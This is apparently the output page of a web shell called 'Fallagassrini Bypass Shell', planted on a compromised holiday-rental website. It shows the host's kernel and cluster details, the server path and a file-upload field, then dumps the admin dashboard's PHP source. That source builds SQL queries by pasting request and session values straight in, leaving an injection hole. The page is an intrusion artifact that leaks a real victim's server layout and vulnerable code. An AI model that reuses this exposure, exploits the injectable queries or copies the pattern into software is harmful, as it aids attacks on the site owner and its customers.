Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/happyrenas/old/happy-r.fr/transfere_pro/administration/templates/admin2/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/happyrenas/old/happy-r.fr/transfere_pro/administration/templates/admin2/index.php

<?
session_start();
include("config.php");
$page="index";
?>
<!DOCTYPE html>
<!--[if IE 8]> <html lang="en" class="ie8 no-js"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie9 no-js"> <![endif]-->
<!--[if !IE]><!-->
<html lang="fr" class="no-js">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<head>
<meta charset="utf-8"/>
<title>ADMINISTRATION HAPPY RENTALS</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<meta content="" name="description"/>
<meta content="" name="author"/>
<!-- BEGIN GLOBAL MANDATORY STYLES -->
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700&subset=all" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/simple-line-icons/simple-line-icons.min.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/uniform/css/uniform.default.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/bootstrap-switch/css/bootstrap-switch.min.css" rel="stylesheet" type="text/css"/>
<!-- END GLOBAL MANDATORY STYLES -->
<!-- BEGIN PAGE LEVEL PLUGIN STYLES -->
<link href="../../assets/global/plugins/bootstrap-daterangepicker/daterangepicker-bs3.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/fullcalendar/fullcalendar.min.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/jqvmap/jqvmap/jqvmap.css" rel="stylesheet" type="text/css"/>
<!-- END PAGE LEVEL PLUGIN STYLES -->
<!-- BEGIN PAGE STYLES -->
<link href="../../assets/admin/pages/css/tasks.css" rel="stylesheet" type="text/css"/>
<!-- END PAGE STYLES -->
<!-- BEGIN THEME STYLES -->
<link href="../../assets/global/css/components.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/css/plugins.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/admin/layout2/css/layout.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/admin/layout2/css/themes/default.css" rel="stylesheet" type="text/css" id="style_color"/>
<link href="../../assets/admin/layout2/css/custom.css" rel="stylesheet" type="text/css"/>
<!-- END THEME STYLES -->
<link rel="shortcut icon" href="favicon.ico"/>
</head>
<!-- END HEAD -->
<!-- BEGIN BODY -->
<!-- DOC: Apply "page-header-fixed-mobile" and "page-footer-fixed-mobile" class to body element to force fixed header or footer in mobile devices -->
<!-- DOC: Apply "page-sidebar-closed" class to the body and "page-sidebar-menu-closed" class to the sidebar menu element to hide the sidebar by default -->
<!-- DOC: Apply "page-sidebar-hide" class to the body to make the sidebar completely hidden on toggle -->
<!-- DOC: Apply "page-sidebar-closed-hide-logo" class to the body element to make the logo hidden on sidebar toggle -->
<!-- DOC: Apply "page-sidebar-hide" class to body element to completely hide the sidebar on sidebar toggle -->
<!-- DOC: Apply "page-sidebar-fixed" class to have fixed sidebar -->
<!-- DOC: Apply "page-footer-fixed" class to the body element to have fixed footer -->
<!-- DOC: Apply "page-sidebar-reversed" class to put the sidebar on the right side -->
<!-- DOC: Apply "page-full-width" class to the body element to have full width page without the sidebar menu -->
<body class="page-boxed page-header-fixed page-sidebar-closed-hide-logo page-container-bg-solid page-sidebar-closed-hide-logo">
<!-- BEGIN HEADER -->
<?include("header_top.php");?>
<!-- END HEADER -->
<div class="clearfix">
</div>
<!-- BEGIN CONTAINER -->
<div class="container">
	<div class="page-container">
		<!-- BEGIN SIDEBAR -->
		<div class="page-sidebar-wrapper">
			<!-- DOC: Set data-auto-scroll="false" to disable the sidebar from auto scrolling/focusing -->
			<!-- DOC: Change data-auto-speed="200" to adjust the sub menu slide up/down speed -->
			<div class="page-sidebar navbar-collapse collapse">
				<?include("header_left.php");?>
			</div>
		</div>
		<!-- END SIDEBAR -->
		<!-- BEGIN CONTENT -->
		<div class="page-content-wrapper">
			<div class="page-content">
				<!-- BEGIN SAMPLE PORTLET CONFIGURATION MODAL FORM-->
				
				<!-- /.modal -->
				<!-- END SAMPLE PORTLET CONFIGURATION MODAL FORM-->
				
				<!-- BEGIN PAGE HEADER-->
				<h3 class="page-title">
				Tableau de bord</h3>
				<div class="page-bar">
					<ul class="page-breadcrumb">
						<li>
							<i class="fa fa-home"></i>
							<a href="index.php">Accueil</a>
							<i class="fa fa-angle-right"></i>
						</li>
						<li>
							<a href="#">Tableau de bord</a>
						</li>
					</ul>
				</div>
				<!-- END PAGE HEADER-->
				<!-- BEGIN DASHBOARD STATS -->
				<div class="row">
					<div class="col-lg-3 col-md-3 col-sm-6 col-xs-12">
						<a class="dashboard-stat dashboard-stat-light blue-soft" href="devis_liste.php">
						<div class="visual">
							<i class="fa fa-comments"></i>
						</div>
						<div class="details">
							<div class="number">
								 Mes devis
							</div>
							<div class="desc">
								 
							</div>
						</div>
						</a>
					</div>
					<div class="col-lg-3 col-md-3 col-sm-6 col-xs-12">
						<a class="dashboard-stat dashboard-stat-light red-soft" href="global.php">
						<div class="visual">
							<i class="fa fa-trophy"></i>
						</div>
						<div class="details">
							<div class="number">
								 Synthèse Globale
							</div>
							<div class="desc">
								 
							</div>
						</div>
						</a>
					</div>
					<div class="col-lg-3 col-md-3 col-sm-6 col-xs-12">
						<a class="dashboard-stat dashboard-stat-light green-soft" href="mesreservations.php">
						<div class="visual">
							<i class="fa fa-shopping-cart"></i>
						</div>
						<div class="details">
							<div class="number">
								 Mes Réservations
							</div>
							<div class="desc">
								 
							</div>
						</div>
						</a>
					</div>
					<div class="col-lg-3 col-md-3 col-sm-6 col-xs-12">
						<a class="dashboard-stat dashboard-stat-light purple-soft" href="liste.php">
						<div class="visual">
							<i class="fa fa-globe"></i>
						</div>
						<div class="details">
							<div class="number">
								 Mes<br>logements
							</div>
							<div class="desc">
								 
							</div>
						</div>
						</a>
					</div>
				</div>
				<!-- END DASHBOARD STATS -->
				<div class="clearfix">
				</div>
				
				<div class="clearfix">
				</div>
				<div class="row">
					<!--BLOC-->
					<!--<div class="col-md-6 col-sm-6">
						<div class="portlet light ">
							<div class="portlet-title">
								<div class="caption">
									<i class="icon-share font-blue-steel hide"></i>
									<span class="caption-subject font-blue-steel bold uppercase">Mes logements</span>
								</div>
							</div>
							<div class="portlet-body">
								<div class="scroller" style="height: 200px;" data-always-visible="1" data-rail-visible="0">
									<ul class="feeds">
									<?
									$ordre="id desc";
									$id_proprietaire		= $_SESSION['proprietaire_id'];
									if ($_GET['order']=='label') {$ordre="label";}
									$myquery = "SELECT * from logement where 1 AND id_proprietaire=$id_proprietaire order by ".$ordre;
									$site_calls = $db->get_results($myquery);
									$num = $db->num_rows;
									?>
									<?
									if (!empty($site_calls))
									{
									foreach ( $site_calls as $call )
									{
									?>
										<li>
											<div class="col1">
												<div class="cont">
													<div class="cont-col1">
													<?if ($call->statut==1) { echo "
														<div class='label label-sm label-info'>
															<i class='fa fa-check'></i>
														</div>" ;}
													?>
													<?if ($call->statut==2) { echo "
														<div class='label label-sm label-danger'>
															<i class='fa fa-check'></i>
														</div>" ;}
													?>
													</div>
													<div class="cont-col2">
														<div class="desc">
															 <a href="logement_ajout.php?logement_id=<?echo $call->id;?>"><?echo $call->label;?></a>
														</div>
													</div>
												</div>
											</div>
											<div class="col2">
												<div class="date">
													 <?echo $call->cp;?>
												</div>
											</div>
										</li>
									<?
									}
									}
									?>
										
										
									</ul>
								</div>
								<div class="scroller-footer">
									<div class="btn-arrow-link pull-right">
										<a href="liste.php">Voir tout</a>
										<i class="icon-arrow-right"></i>
									</div>
								</div>
							</div>
						</div>
					</div>
					-->
					<!--FIN BLOC-->
					<!--BLOC-->
					<div class="col-md-6 col-sm-6">
						<div class="portlet light ">
							<div class="portlet-title">
								<div class="caption">
									<i class="icon-share font-blue-steel hide"></i>
									<span class="caption-subject font-blue-steel bold uppercase">Envoyer un contrat de réservation</span>
								</div>
							</div>
							<div class="portlet-body">
								<div class="scroller" style="height: 274px;" data-always-visible="1" data-rail-visible="0">
									<ul class="feeds">
									<a href="reservation_ajout.php"><img src="img/form_home.png"></a>
										
										
									</ul>
								</div>
								
								<div class="scroller-footer">
								
									<div class="btn-arrow-link pull-right">
										<a href="#"></a>
										<i class="icon-arrow-right"></i>
									</div>
									
								</div>
								
							</div>
						</div>
					</div>
					<!--FIN BLOC-->
					<!--FIN BLOC-->
					<!--BLOC-->
					<div class="col-md-6 col-sm-6">
						<div class="portlet light ">
							<div class="portlet-title">
								<div class="caption">
									<i class="icon-share font-blue-steel hide"></i>
									<span class="caption-subject font-blue-steel bold uppercase">Envoyer un Devis</span>
								</div>
							</div>
							<div class="portlet-body">
								<div class="scroller" style="height: 274px;" data-always-visible="1" data-rail-visible="0">
									<ul class="feeds">
									<a href="devis.php"><img src="img/form_devis.png"></a>
										
										
									</ul>
								</div>
								
								<div class="scroller-footer">
								
									<div class="btn-arrow-link pull-right">
										<a href="#"></a>
										<i class="icon-arrow-right"></i>
									</div>
									
								</div>
								
							</div>
						</div>
					</div>
					<!--FIN BLOC-->
					
				</div>
				<div class="clearfix">
				</div>
				
				<div class="clearfix">
				</div>
				
				<div class="clearfix">
				</div>
				<div class="row">
					
					<!--BLOC-->
					
					
					
					<!--FIN BLOC-->
					
					
				
					
					<?//BLOC CALENDRIER//?>
					<?
					$cMonth=date("m")-1;
					//$cMonth=11;
					$cYear=date("Y");
						//if ($_REQUEST["month"]) {$cMonth = $_REQUEST["month"];}
						//if ($_REQUEST["year"]) {$$cYear = $_REQUEST["year"];}
								
					
					for ($level=0; $level<8; $level++)
					{$colonnes=0;
					?>
					
					<div class="col-md-6 col-sm-6">
						<!-- BEGIN PORTLET-->
						<div style="height: 474px;"  class="portlet light calendar ">
							<div class="portlet-title ">
								<div class="caption">
									<i class="icon-calendar font-green-sharp"></i>
									<span class="caption-subject font-green-sharp bold uppercase">Calendrier</span>
								</div>
								<form method="post" action="promotion.php" class="form-horizontal form-row-seperated">
								<select name="logement_prefere" class="form-control select2_category" onchange="document.location.href='index.php?logement_prefere='+this.value;">
								<?
								if ($_REQUEST['logement_prefere']) {$logement_prefere=$_REQUEST['logement_prefere'];}
								else {$logement_prefere=$_SESSION['logement_prefere'];}
								?>
														<?
														$ordre="id desc";
														if ($_GET['order']=='label') {$ordre="label";}
														$myquery = "SELECT * from logement where id_proprietaire=".$_SESSION['proprietaire_id']." order by ".$ordre;
														$site_calls = $db->get_results($myquery);
														$num = $db->num_rows;
														?>
														<?
														if (!empty($site_calls))
														{
														foreach ( $site_calls as $call )
														{
														?>
														<option <?if ($call->id==$logement_prefere) {echo "selected ";}?> value="<?echo $call->id;?>"><?echo $call->label;?></option>
														<?
														}
														}
														?>
																				
														</select>
														
							</div>
							
							<!--CALENDRIER GAUCHE-->
								<?php
								$monthNames = Array("Janvier", "Février", "Mars", "Avril", "Mai", "Juin", "Juillet","Aout", "Septembre", "Octobre", "Novembre", "Decembre");
								if (!isset($_REQUEST["month"])) $_REQUEST["month"] = date("n");
								if (!isset($_REQUEST["year"])) $_REQUEST["year"] = date("Y");

								 
								
								
								if ($cMonth>11 )
								{
								$cMonth = 1;
								$cYear = $cYear + 1;
								}
								else
								{
								$cMonth = $cMonth+1;
								}
								
								
								
								
								$prev_year = $cYear;
								$next_year = $cYear;
								$prev_month = $cMonth-1;
								$next_month = $cMonth+1;
								if ($prev_month == 0 ) {
								$prev_month = 12;
								$prev_year = $cYear - 1;
								}
								if ($next_month == 13 ) {
								$next_month = 1;
								$next_year = $cYear + 1;
								}
								?>
								<table width="450">
										<tr align="center">
										<td>
										<table width="100%" border="0" cellspacing="0" cellpadding="0">
										<tr>
										<td width="10%" align="left"><a href="<?php echo $_SERVER["PHP_SELF"] . "?month=". $prev_month . "&year=" . $prev_year ."&logement_prefere=".$logement_prefere; ?>" > <button type="button" class="btn btn-default"><i class="fa fa-angle-double-left"></i></button></a></td>
										<td width="80%" align="center"><strong><?php echo $monthNames[$cMonth-1].' '.$cYear; ?></strong></a></td>
										<td width="10%" align="right"><a href="<?php echo $_SERVER["PHP_SELF"] . "?month=". $next_month . "&year=" . $next_year."&logement_prefere=".$logement_prefere; ?>"><button type="button" class="btn btn-default"><i class="fa fa-angle-double-right"></i></button> </a></td>
										</tr>
										</table><br>
										</td>
										</tr>
										<tr>
										<td align="center">
										<table class="table table-bordered">
										
										<tr>
										<td align="center" bgcolor="#999999" style="color:#FFFFFF"><strong>D</strong></td>
										<td align="center" bgcolor="#999999" style="color:#FFFFFF"><strong>L</strong></td>
										<td align="center" bgcolor="#999999" style="color:#FFFFFF"><strong>M</strong></td>
										<td align="center" bgcolor="#999999" style="color:#FFFFFF"><strong>M</strong></td>
										<td align="center" bgcolor="#999999" style="color:#FFFFFF"><strong>J</strong></td>
										<td align="center" bgcolor="#999999" style="color:#FFFFFF"><strong>V</strong></td>
										<td align="center" bgcolor="#999999" style="color:#FFFFFF"><strong>S</strong></td>
										</tr>
										<?php 
										$timestamp = mktime(0,0,0,$cMonth,1,$cYear);
										$maxday = date("t",$timestamp);
										$thismonth = getdate ($timestamp);
										$startday = $thismonth['wday'];
										for ($i=0; $i<($maxday+$startday); $i++)
										{
										if(($i % 7) == 0 ) {echo "<tr>";$colonnes=$colonnes+1;}
										if($i < $startday) echo "<td></td>";
										else
											{
											$ladate=$cYear."-".($cMonth)."-".($i - $startday + 1);
											
											if ($_SESSION['logement_prefere']) 
											{$critere="id_logement=".$logement_prefere;}
											else
											{$critere="1";}
											
											$myquery = "SELECT id,statut from reservation where ".$critere." AND id_proprietaire=".$_SESSION['proprietaire_id']."  AND date1<='$ladate' AND date2>='$ladate'";
											$marequete = $db->get_row($myquery);
											echo "<td align='center' valign='middle' height='20px'>";
											if ($marequete->id && $marequete->statut==1) {echo "<span class='label label-info'>";}
											if ($marequete->id && $marequete->statut==3) {echo "<span class='label label-success'>";}
											if ($marequete->id && $marequete->statut==4) {echo "<span class='label label-danger'>";}
											//if ($marequete->id && $marequete->statut==5) {echo "<span class='label label-success'>";}
											
											if ($marequete->id && $marequete->statut==8) {echo "<span class='label label-warning'>";}
											if ($marequete->id && $marequete->statut==9) {echo "<span class='label label-warning'>";}
											echo ($i - $startday + 1);
											echo "</span>.</td>";
											}
										if(($i % 7) == 6 ) {echo "</tr>";}
										}
										
										?>
										<?if ($colonnes!=6) {echo "<tr ><td style='border:1px solid #fff;'  colspan=7>&nbsp;</td></tr>";}?>
										</table>
										</td>
										</tr>
								</table>
								<span class="label label-sm label-info">Réservation demandée</span>
								<span class="label label-sm label-success">Contrat rempli</span>
								<span class="label label-sm label-danger">Réservation validée</span>
								<span class="label label-sm label-warning">Indisponible</span>
								<!--FIN CALENDRIER GAUCHE-->
						</div>
						<!-- END PORTLET-->
					</div>
					<?$colonnes=0;}?>
					<?//fin BLOC CALENDRIER//?>
				</div>
<?include("footer.php");?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net